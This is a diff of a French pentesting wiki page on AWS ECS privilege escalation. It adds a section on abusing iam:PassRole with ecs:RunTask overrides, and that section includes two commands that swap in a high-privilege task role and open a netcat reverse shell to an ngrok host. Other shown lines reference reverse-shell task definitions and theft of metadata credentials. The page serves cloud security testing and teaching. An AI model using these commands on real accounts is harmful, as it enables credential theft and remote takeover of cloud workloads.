Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md

@@ -4,7 +4,7 @@
 
 ## ECS
 
-Plus d'**info sur ECS** dans :
+Plus d'**info sur ECS** dans:
 
 {{#ref}}
 ../aws-services/aws-ecs-enum.md
@@ -12,7 +12,7 @@ Plus d'**info sur ECS** dans :
 
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
 
-Un attaquant abusant des permissions `iam:PassRole`, `ecs:RegisterTaskDefinition` et `ecs:RunTask` dans ECS peut **générer une nouvelle définition de tâche** avec un **conteneur malveillant** qui vole les identifiants de métadonnées et **l'exécuter**.
+Un attaquant abusant des permissions `iam:PassRole`, `ecs:RegisterTaskDefinition` et `ecs:RunTask` dans ECS peut **générer une nouvelle task definition** avec un **container malveillant** qui récupère les identifiants des métadonnées et **l'exécuter**.
 
 {{#tabs }}
 {{#tab name="Reverse Shell" }}
@@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
 
 {{#tab name="Webhook" }}
 
-Créez un webhook avec un site comme webhook.site
+Créer un webhook avec un site comme webhook.site
 ```bash
 
 # Create file container-definition.json
@@ -77,10 +77,56 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
 
 **Impact potentiel :** Privesc direct vers un autre rôle ECS.
 
+### `iam:PassRole`,`ecs:RunTask`
+Un attaquant qui possède les permissions `iam:PassRole` et `ecs:RunTask` peut lancer une nouvelle tâche ECS avec un **rôle d'exécution**, un **rôle de tâche** et la **commande** du conteneur modifiés. La commande CLI `ecs run-task` contient l'option `--overrides` qui permet de changer à l'exécution les `executionRoleArn`, `taskRoleArn` et la `command` du conteneur sans toucher à la définition de tâche.
+
+Les rôles IAM spécifiés pour `taskRoleArn` et `executionRoleArn` doivent permettre d'être assumés par `ecs-tasks.amazonaws.com` dans leur politique de confiance.
+
+De plus, l'attaquant doit connaître :
+- Nom du cluster ECS
+- Sous-réseau VPC
+- Security group (Si aucun security group n'est spécifié, celui par défaut sera utilisé)
+- Nom et révision de la définition de tâche
+- Nom du conteneur
+```bash
+aws ecs run-task \
+--cluster <cluster-name> \
+--launch-type FARGATE \
+--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
+--task-definition <task-definition:revision> \
+--overrides '
+{
+"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
+"containerOverrides": [
+{
+"name": <container-name>,
+"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
+}
+]
+}'
+```
+Dans l'extrait de code ci‑dessus, un attaquant ne remplace que la valeur `taskRoleArn`. Cependant, l'attaquant doit disposer de l'autorisation `iam:PassRole` sur le `taskRoleArn` spécifié dans la commande et sur le `executionRoleArn` spécifié dans la définition de tâche pour que l'attaque puisse se produire.
+
+Si le rôle IAM que l'attaquant peut passer dispose de privilèges suffisants pour récupérer l'image ECR et démarrer la tâche ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`), alors l'attaquant peut spécifier le même rôle IAM pour `executionRoleArn` et `taskRoleArn` dans la commande `ecs run-task`.
+```sh
+aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
+{
+"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
+"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
+"containerOverrides": [
+{
+"name": "<container-name>",
+"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
+}
+]
+}'
+```
+**Impact potentiel :** Privesc direct vers n'importe quel ECS task role.
+
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
 
-Tout comme dans l'exemple précédent, un attaquant abusant des permissions **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** dans ECS peut **générer une nouvelle définition de tâche** avec un **conteneur malveillant** qui vole les identifiants de métadonnées et **l'exécuter**.\
-Cependant, dans ce cas, une instance de conteneur pour exécuter la définition de tâche malveillante doit être.
+Tout comme dans l'exemple précédent, un attaquant abusant des permissions **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** dans ECS peut **générer une nouvelle task definition** avec un **malicious container** qui vole les metadata credentials et **l'exécuter**.\
+Cependant, dans ce cas, une container instance pour exécuter la malicious task definition doit être présente.
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
@@ -96,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
 ## You need to remove all the versions (:1 is enough if you just created one)
 aws ecs deregister-task-definition --task-definition iam_exfiltration:1
 ```
-**Impact potentiel :** Privesc direct à tout rôle ECS.
+**Impact potentiel :** Direct privesc to any ECS role.
 
-### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
+### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` 
 
-Tout comme dans l'exemple précédent, un attaquant abusant des permissions **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ou **`ecs:CreateService`** dans ECS peut **générer une nouvelle définition de tâche** avec un **conteneur malveillant** qui vole les informations d'identification des métadonnées et **l'exécuter en créant un nouveau service avec au moins 1 tâche en cours d'exécution.**
+Comme dans l'exemple précédent, un attaquant abusant des permissions **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ou **`ecs:CreateService`** dans ECS peut **générer une nouvelle task definition** avec un **conteneur malveillant** qui vole les metadata credentials et **l'exécuter en créant un nouveau service avec au moins 1 task en cours d'exécution.**
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
@@ -127,7 +173,7 @@ aws ecs update-service --cluster <CLUSTER NAME> \
 
 ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
 
-En fait, juste avec ces permissions, il est possible d'utiliser des remplacements pour exécuter des commandes arbitraires dans un conteneur avec un rôle arbitraire avec quelque chose comme :
+En fait, rien qu'avec ces permissions, il est possible d'utiliser des overrides pour exécuter des commandes arbitraires dans un conteneur avec un rôle arbitraire, par exemple :
 ```bash
 aws ecs run-task \
 --task-definition "<task-name>" \
@@ -135,13 +181,13 @@ aws ecs run-task \
 --cluster <cluster-name> \
 --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
 ```
-**Impact potentiel :** Privesc direct vers n'importe quel rôle ECS.
+**Impact potentiel :** privesc direct vers n'importe quel rôle ECS.
 
 ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
 
 Ce scénario est similaire aux précédents mais **sans** la permission **`iam:PassRole`**.\
-C'est toujours intéressant car si vous pouvez exécuter un conteneur arbitraire, même sans rôle, vous pourriez **exécuter un conteneur privilégié pour échapper** au nœud et **voler le rôle IAM EC2** et les **autres rôles de conteneurs ECS** s'exécutant dans le nœud.\
-Vous pourriez même **forcer d'autres tâches à s'exécuter à l'intérieur de l'instance EC2** que vous compromettez pour voler leurs identifiants (comme discuté dans la [**section Privesc vers le nœud**](aws-ecs-privesc.md#privesc-to-node)).
+Cela reste intéressant car si vous pouvez exécuter un conteneur arbitraire, même sans rôle, vous pourriez **lancer un conteneur privilégié pour vous échapper** vers le node et **voler le rôle IAM EC2** ainsi que les **autres rôles des conteneurs ECS** s'exécutant sur le node.\
+Vous pourriez même **forcer d'autres tasks à s'exécuter à l'intérieur de l'instance EC2** que vous compromettez pour voler leurs identifiants (comme discuté dans la [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
 
 > [!WARNING]
 > Cette attaque n'est possible que si le **cluster ECS utilise des instances EC2** et non Fargate.
@@ -187,8 +233,8 @@ aws ecs run-task --task-definition iam_exfiltration \
 ```
 ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
 
-Un attaquant avec les **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** peut **exécuter des commandes** à l'intérieur d'un conteneur en cours d'exécution et exfiltrer le rôle IAM qui y est attaché (vous avez besoin des permissions de description car il est nécessaire d'exécuter `aws ecs execute-command`).\
-Cependant, pour ce faire, l'instance de conteneur doit exécuter l'**agent ExecuteCommand** (qui par défaut ne l'est pas).
+Un attaquant disposant des **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** peut **exécuter des commandes** à l'intérieur d'un conteneur en cours d'exécution et exfiltrer le rôle IAM qui lui est attaché (vous avez besoin des permissions Describe car c'est nécessaire pour lancer `aws ecs execute-command`).\
+Cependant, pour cela, l'instance de conteneur doit exécuter l'**ExecuteCommand agent** (ce qui, par défaut, n'est pas le cas).
 
 Par conséquent, l'attaquant pourrait essayer de :
 
@@ -210,18 +256,18 @@ aws ecs execute-command --interactive \
 --cluster "$CLUSTER_ARN" \
 --task "$TASK_ARN"
 ```
-- S'il a **`ecs:RunTask`**, exécutez une tâche avec `aws ecs run-task --enable-execute-command [...]`
-- S'il a **`ecs:StartTask`**, exécutez une tâche avec `aws ecs start-task --enable-execute-command [...]`
-- S'il a **`ecs:CreateService`**, créez un service avec `aws ecs create-service --enable-execute-command [...]`
-- S'il a **`ecs:UpdateService`**, mettez à jour un service avec `aws ecs update-service --enable-execute-command [...]`
+- Si l'utilisateur dispose de **`ecs:RunTask`**, lancer une tâche avec `aws ecs run-task --enable-execute-command [...]`
+- Si l'utilisateur dispose de **`ecs:StartTask`**, lancer une tâche avec `aws ecs start-task --enable-execute-command [...]`
+- Si l'utilisateur dispose de **`ecs:CreateService`**, créer un service avec `aws ecs create-service --enable-execute-command [...]`
+- Si l'utilisateur dispose de **`ecs:UpdateService`**, mettre à jour un service avec `aws ecs update-service --enable-execute-command [...]`
 
-Vous pouvez trouver **des exemples de ces options** dans **les sections précédentes sur le privesc ECS**.
+Vous pouvez trouver **des exemples de ces options** dans les **sections ECS privesc précédentes**.
 
-**Impact potentiel :** Privesc à un rôle différent attaché aux conteneurs.
+**Impact potentiel :** Privesc vers un rôle différent attaché aux conteneurs.
 
 ### `ssm:StartSession`
 
-Vérifiez dans la **page de privesc ssm** comment vous pouvez abuser de cette permission pour **privesc à ECS** :
+Consultez la **page ssm privesc** pour voir comment abuser de cette permission afin de **privesc vers ECS** :
 
 {{#ref}}
 aws-ssm-privesc.md
@@ -229,24 +275,26 @@ aws-ssm-privesc.md
 
 ### `iam:PassRole`, `ec2:RunInstances`
 
-Vérifiez dans la **page de privesc ec2** comment vous pouvez abuser de ces permissions pour **privesc à ECS** :
+Consultez la **page ec2 privesc** pour voir comment abuser de ces permissions afin de **privesc vers ECS** :
 
 {{#ref}}
 aws-ec2-privesc.md
 {{#endref}}
 
-### `?ecs:RegisterContainerInstance`
+### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
 
-TODO : Est-il possible d'enregistrer une instance d'un autre compte AWS afin que les tâches soient exécutées sur des machines contrôlées par l'attaquant ??
+Un attaquant disposant de ces permissions pourrait potentiellement enregistrer une instance EC2 dans un cluster ECS et y exécuter des tâches. Cela pourrait permettre à l'attaquant d'exécuter du code arbitraire dans le contexte des tâches ECS.
+
+- TODO : Est-il possible d'enregistrer une instance depuis un autre compte AWS afin que les tâches s'exécutent sur des machines contrôlées par l'attaquant ??
 
 ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
 
 > [!NOTE]
-> TODO : Tester cela
+> TODO : Tester ceci
 
-Un attaquant avec les permissions `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, et `ecs:DescribeTaskSets` peut **créer un ensemble de tâches malveillant pour un service ECS existant et mettre à jour l'ensemble de tâches principal**. Cela permet à l'attaquant d'**exécuter du code arbitraire au sein du service**.
+Un attaquant disposant des permissions `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` et `ecs:DescribeTaskSets` peut **créer un task set malveillant pour un service ECS existant et mettre à jour le primary task set**. Cela permet à l'attaquant de **exécuter du code arbitraire au sein du service**.
 ```bash
-bashCopy code# Register a task definition with a reverse shell
+# Register a task definition with a reverse shell
 echo '{
 "family": "malicious-task",
 "containerDefinitions": [
@@ -270,7 +318,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
 # Update the primary task set for the service
 aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
 ```
-**Impact potentiel** : Exécuter du code arbitraire dans le service affecté, impactant potentiellement sa fonctionnalité ou exfiltrant des données sensibles.
+**Impact potentiel** : Exécuter du code arbitraire dans le service affecté, pouvant affecter son fonctionnement ou exfiltrer des données sensibles.
 
 ## Références